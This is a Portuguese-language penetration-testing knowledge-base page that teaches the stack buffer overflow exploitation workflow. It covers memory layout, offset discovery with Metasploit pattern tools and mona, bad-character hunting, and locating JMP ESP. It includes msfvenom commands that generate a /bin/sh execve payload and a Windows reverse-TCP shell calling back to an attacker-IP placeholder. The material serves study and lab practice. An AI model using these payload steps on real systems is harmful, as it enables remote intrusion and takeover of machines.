> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/buffer-overflow.md).

# Buffer Overflow

Ataque do tipo Buffer Overflow acontece quando um programa reserva blocos de espaço pré-definidos e limitado de memória (buffer) para armazenar dados e esse espaço reservado recebe mais dados do que é capaz de comportar. Isso ultrapassa os limites do buffer e sobrescreve a memória adjacente.

Linguagens modernas como Python, PHP, Ruby, Java e C# não são vulneráveis a esse tipo de ataque, pois utilizam `Memory Safe`, ou seja, não permitem que variáveis acessem regiões de memória não alocados ou alocadas por ponteiros/variávies diferentes.\
Linguagens não seguras como `C` e `C++` possuem contramedidas como `ASLR` (Address Space-Layout Randomization), `Stack Canaries` e `CFI` (Control Flow Integrity)

### Anatomia na Memória RAM

Abaixo segue o básico da sua divisão, indo do `low address` para o `high address`:

| PARTE DA MEMÓRIA                   | DESCRIÇÃO                                                                                                                                                                                                                                                                   |
| ---------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `text segment`                     | Região read-only que armazena textos como códigos e comandos utilizados por outros programas. O texto correspondente ao nosso código fonte, por exemplo, fica armazenado aqui                                                                                               |
| `data (initialized / unitialized)` | Aqui ficam as variáveis inicializadas e não inicializadas do software                                                                                                                                                                                                       |
| `heap`                             | Região destinada ao armazenamento dinâmico de grandes informações, gerenciada pelas funções `malloc`, `realloc` e `free`. O que estará armazenado aqui depende da estrutura do programa sendo executado                                                                     |
| `stack`                            | Região onde ficam armazenadas (com tamanho dinâmico) as variáveis e funções locais do nosso programas. Esta é uma pilha que funciona no esquema `LIFO` (Last In First Out), contendo endereços de funções que devem ser invocadas e parâmetros/variáveis a serem utilizadas |

Os primeiros endereços de memória (números em hexadecimal) ficam em baixo (0x00000000) e os últimos endereços ficam no topo (fxffffffff).\
Conforme o stack vai utilizando mais memória, são utilizados os endereços de baixo, ou seja, o stack cresce na direção do heap (de cima pra baixo), enquanto o heap cresce na direção do stack (de baixo pra cima).

Buffer Overflows geralmente acontecem no stack, mas apesar de ser pouco comum, é possível que overflows também ocorram em outras regiões de memória como o heap.

Quando o programa é executado, uma instrução assembly `jump` é invocada apontando para o endereço de retorno desta função `return`, é assim que a função `main` sabe o que deve ser executado após executar nossa função `func`, ela executará o que estiver em `return`.

### Heap

Armazena a memória alocada dinamicamente e começa com um endereço de memória baixa e vai utilizando endereços maiores a cada nova inserção.

### Stack (Pilha)

A Stack trabalha com a estrutura `LIFO` (Last In First Out), ou seja, o último a entra na pilha, irá entrar no topo, e este será o primeiro a sair. A Stack começa com o endereço de memória mais alta e a cada nova inserção, vai inserindo em um endereço menor, fazendo o inverso da Heap. O `rsp` indica o endereço do topo da pilha e `rbp` é a base da Stack.\
Segue abaixo alguns exemplos de inserção e remoção no topo da Pilha.

```
push rbp
pop rbp

sub rsp,0x10
add rsp,0x10

lea eax, DWORD PTR[rbp - 0xa]
```

### msfvenom

Gerando `execve`.

```
msfvenom -p linux/x86/exec CMD=/bin/sh AppendExit=true -e x86/alpha_mixed -f python
```

### Procurando offset

#### pattern\_create + pattern\_offset

Aqui iremos utilizar duas ferramentas que fazem parte do Metasploit, o `pattern_create.rb` para gerar o payload que será enviado e o `pattern_offset.rb` que retorna o offset a partir do resultado obtido com o payload enviado).

```bash
locate pattern_create.rb
<path/to/pattern_create.rb> -l <length_crash>
```

Com a saída do comando acima, jogue a string no executável e certique-se o mesmo irá "crashar". Caso seja negativo, aumente o valor de `<lenght_crash>`. Ao travar o software, verifique o valor de EIP (através do Immnuity Debugger) e execute o comando abaixo para saber o offset correto.

```bash
locate pattern_offset.rb
<path/to/pattern_offset.rb> -l <length_crash> -q <result_string_crash>
```

#### pattern\_create + mona

Semelhante a forma anterior, iremos utilizar o `pattern_create` para gerar nossa string, mas após utilizamos para "crashar" a aplicação, não iremos utilizar o `pattern_offset`, mas sim o `mona`. Após enviar o payload para o sistema, vá até o `Immunity Debugger` e então execute:

```
!mona findmsp -distance <length_crash>
```

Após isso, procure pelo primeiro resultado de offset, logo abaixo a linha `[+] Examing registers`.

### Bad Chars

Alguns caracteres são considerados como bad chars, pois a aplicação não os reconhece, então não podem ser utilizados em nosso shellcode. Geralmente, os badchars são `\x00`, `\x0a` e `\x0d`, mas isso não é uma regra geral, pois vai de aplicação para aplicação.

Abaixo, segue todos os caracteres em hex. Já removemos o char `\x00`, que provavelmente irá causar erros:

```
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
```

Caso queira gerar, execute um dos códigos abaixo, ambos desenvolvidos em Python:

```python
from __future__ import print_function

listRem = "".split("\\x")
for x in range(1, 256):
    if "{:02x}".format(x) not in listRem:
        print("\\x" + "{:02x}".format(x), end='')
print()
```

```python
import sys
for x in range(1,256):
        sys.stdout.write ("\\x" + '{:02x}'.format(x))
```

#### mona

Antes de utilizarmos o mona, vamos definir qual o seu diretório de trabalho. Para isso, iremos criar o diretório `c:\mona` e depois executar o seguinte comando no Immunity Debugger:

```
!mona config -set workingfolder c:\mona\%p
```

Agora vamos gerar um arquivo com badchars semelhante ao que vimos acima, porém usando o mona no Immnunity Debbuger ao invés do python, e já excluindo o `\x00`, que provavelmente irá provocar algum erro.

```
!mona bytearray -b "\x00"
```

Note na saída do comando que será gerado um arquivo chamado `bytearray`, que iremos utilizar para comparar o nosso ESP, através do comando:

```
!mona compare -f <C:\path\mona\bytearray.txt> -a <esp_address>
```

Irá ser aberta então, uma janela com os bad chars localizados.

{% hint style="info" %}
**ATENÇÃO:** Nem todos esses podem ser badchars! Às vezes, os badchars fazem com que o próximo byte também seja corrompido ou até mesmo afetem o resto da string. Utilize o **`Follow in Dump`** do **`ESP`** para verificar de forma manual.
{% endhint %}

Remova agora os bad chars localizados execute novamente o processo pelo `mona` até que o resultado seja `Unmodified`.

### Trabalhando com Opcode

Primeiro vamos ver os Módulos que não tem proteção `ASLR` com o `Immunity Debugger`, utilizando o `mona`.

```bash
!mona modules
```

Após localizar qual (ou quais) dll's não possuem possuem proteções ASLR, vamos utilizar o `nasm_shell` para localizar um `JMP ESP`.

```bash
# Procurando pelo executável
locate nasm_shell

# Executando o script (o caminho pode alterar de acordo com o resultado do comando acima)
/usr/bin/msf-nasm_shell

# Digite ao abrir um novo PS1 interativo
jmp esp
```

Supondo que o resultado seja `00000000 FFE4 jmp esp`, então vamos pegar o `FFE4` e procurá-lo no `mona`.

```bash
!mona find -s "\xff\xe4" -m <file.dll>
```

Por boas práticas, é sempre bom colocar um endpoint no local encontrado, para confirmar se o EIP realmente está redirecionando corretamente para ESP.

### Procurando o JMP ESP

Como sabemos, não é possível pegarmos o valor exato de ESP (já que este é dinâmico), então precisamos localizar algum JMP para o ESP (que tem um valor estático), e então chamá-lo. Note que passamos o parâmetro `-cpb` para informamos os badchars e evitarmos problemas. Esse programa que estamos utilizando é o `mona`, que é uma extensão do `Immunity Debugger`.

Reinicie a execução do binário antes de executar o comando abaixo.

```bash
!mona jmp -r esp -cpb "\x00\x0a"
```

O valor encontrado aqui, ficará no lugar do `BBBB`, que geralmente é utilizado para testar se podemos sobrescrever EIP. Supomos que encontramos o valor `0x625011af`, então o valor irá ficar assim (note a inversão da ordem): `\xaf\x11\x50\x62`

### Gerando Shellcode com msfvenom

Note que abaixo estamos definindo somente `\x00` como Bad Char, porém pode ter mais. E também estamos definindo no parâmetro `-f` que é para funcionar em aplicação desenvolvidas em `C`. Também estamos utilizando o parâmetro `exitfunc=thread`, que serve para não "crashar" o serviço ao sair dele, pois por padrão o msfvenom mata o processo ao finalizar.

```bash
msfvenom -p windows/shell_reverse_tcp lhost=<ip_atacante> lport=<port> exitfunc=thread -b "\x00" -f c
```

#### Sites

```
https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst
http://andreybleme.com/2019-07-06/etendendo-explorando-buffer-overflow/
https://www.gestortecnico.net/2018/10/o-que-e-ataque-de-buffer-overflow.html
https://cic.unb.br/~rezende/trabs/buffer_overflow.htm
```
